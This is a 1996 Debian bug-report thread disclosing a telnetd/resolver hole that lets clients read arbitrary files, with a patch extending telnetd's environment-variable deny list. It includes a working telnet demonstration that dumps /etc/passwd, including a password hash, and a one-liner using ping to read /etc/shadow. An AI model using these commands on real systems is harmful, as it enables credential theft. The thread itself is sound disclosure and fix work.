Subject: Bug#4190: moderate security hole in telnetd

From: Klee Dienes <[email-masked]>
Date: Sun, 18 Aug 1996 22:06:42 -0700

Package: netstd
Version: 2.06-1

A bug currently making the rounds on the bugtraq mailing list:

The resolver library appears to allow the environment variable
RESOLV_HOST_CONF to be used to specify a pathname for an alternate
host.conf.  It also has the unfortunate behavior of printing the text
of any parse errors in the host.conf library to standard output (bad
karma for a system library, if you ask me).  This allows outsiders to
get the contents of any file over the network:

$ telnet 
telnet> env define RESOLV_HOST_CONF /etc/passwd
telnet> open localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Debian Linux 1.1
Copyright (C) 1993-1996 Debian Association, Inc. and others
resolv+: "root:M87U9DfM9eek:0:0:root:/root:/bin/bash" is an invalid keyword
resolv+: "daemon:*:1:1:daemon:/usr/sbin:/bin/sh" is an invalid keyword
resolv+: "bin:*:2:2:bin:/bin:/bin/sh" is an invalid keyword
resolv+: "sys:*:3:3:sys:/dev:/bin/sh" is an invalid keyword
[...]

A quick workaround is to change envarok() in telnetd/state.c as
appended.  My guess is that only telnetd needs to be changed for now,
as neither rlogin nor rsh (if I remember correctly) allow the client
to pass in environment variables.  All the programs should probably be
checked, though.

static int
envvarok(varp,valp)
	char *varp, *valp;
{
	if (strncmp(varp, "LD_", strlen("LD_")) &&
		strncmp(varp, "ELF_LD_", strlen("ELF_LD_")) &&
		strncmp(varp, "AOUT_LD_", strlen("AOUT_LD_")) &&
		strncmp(varp, "_RLD_", strlen("_RLD_")) &&
		!strchr(varp, '=') &&
		strcmp(varp, "LIBPATH") &&
		strcmp(varp, "ENV") &&
		strcmp(varp, "IFS")) {
		return 1;
	} else {
...

to:

static int
envvarok(varp,valp)
	char *varp, *valp;
{
	if (strncmp(varp, "LD_", strlen("LD_")) &&
		strncmp(varp, "ELF_LD_", strlen("ELF_LD_")) &&
		strncmp(varp, "AOUT_LD_", strlen("AOUT_LD_")) &&
		strncmp(varp, "_RLD_", strlen("_RLD_")) &&
		!strchr(varp, '=') &&
		strcmp(varp, "LIBPATH") &&
		strcmp(varp, "ENV") &&
		strcmp(varp, "RESOLV_HOST_CONF") &&
		strcmp(varp, "HOSTALIASES") &&
		strcmp(varp, "LOCALDOMAIN") &&
		strcmp(varp, "RES_OPTIONS") &&
		strcmp(varp, "IFS")) {
		return 1;
	} else {
...

---

From: [email-masked] (Bernd Eckenfels)
Date: Mon, 19 Aug 1996 13:34:35 +0200 (MET DST)

> to pass in environment variables.

Is this environment variable sourced for SUID/SGID programs, too? If yes,
there can be situations where ppl can fake address/name mappings which would
be otherwise trusted (cause they ae in /etc/hosts). Removing that feature
sounds like the best solution....

Greetings
bernd

---

From: Miquel van Smoorenburg <[email-masked]>
Date: Mon, 19 Aug 1996 21:07:46 +0200 (MET DST)

> Is this environment variable sourced for SUID/SGID programs, too? If yes,

Yep. If you have shadow, try this:

RESOLV_HOST_CONF=/etc/shadow ping localhost

> sounds like the best solution....

That would be HOST_ALIASES, and that's on just about every BSD derived
system on the planet. (You can have fun with it though). That doesn't
look dangerous, btw; you can't change the reverse mappings.

This should be fixed in the library, I think. I see no real reason
for justifying these environment variables; nobody seemed to know they
were there in the first place (still, I think the telnet trick _was_
kind of neat).

Mike.
-- 
  Miquel van    | Cistron Internet Services   --    Alphen aan den Rijn.
  Smoorenburg,  | mailto:[email-masked]          http://www.cistron.nl/
[email-masked] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data)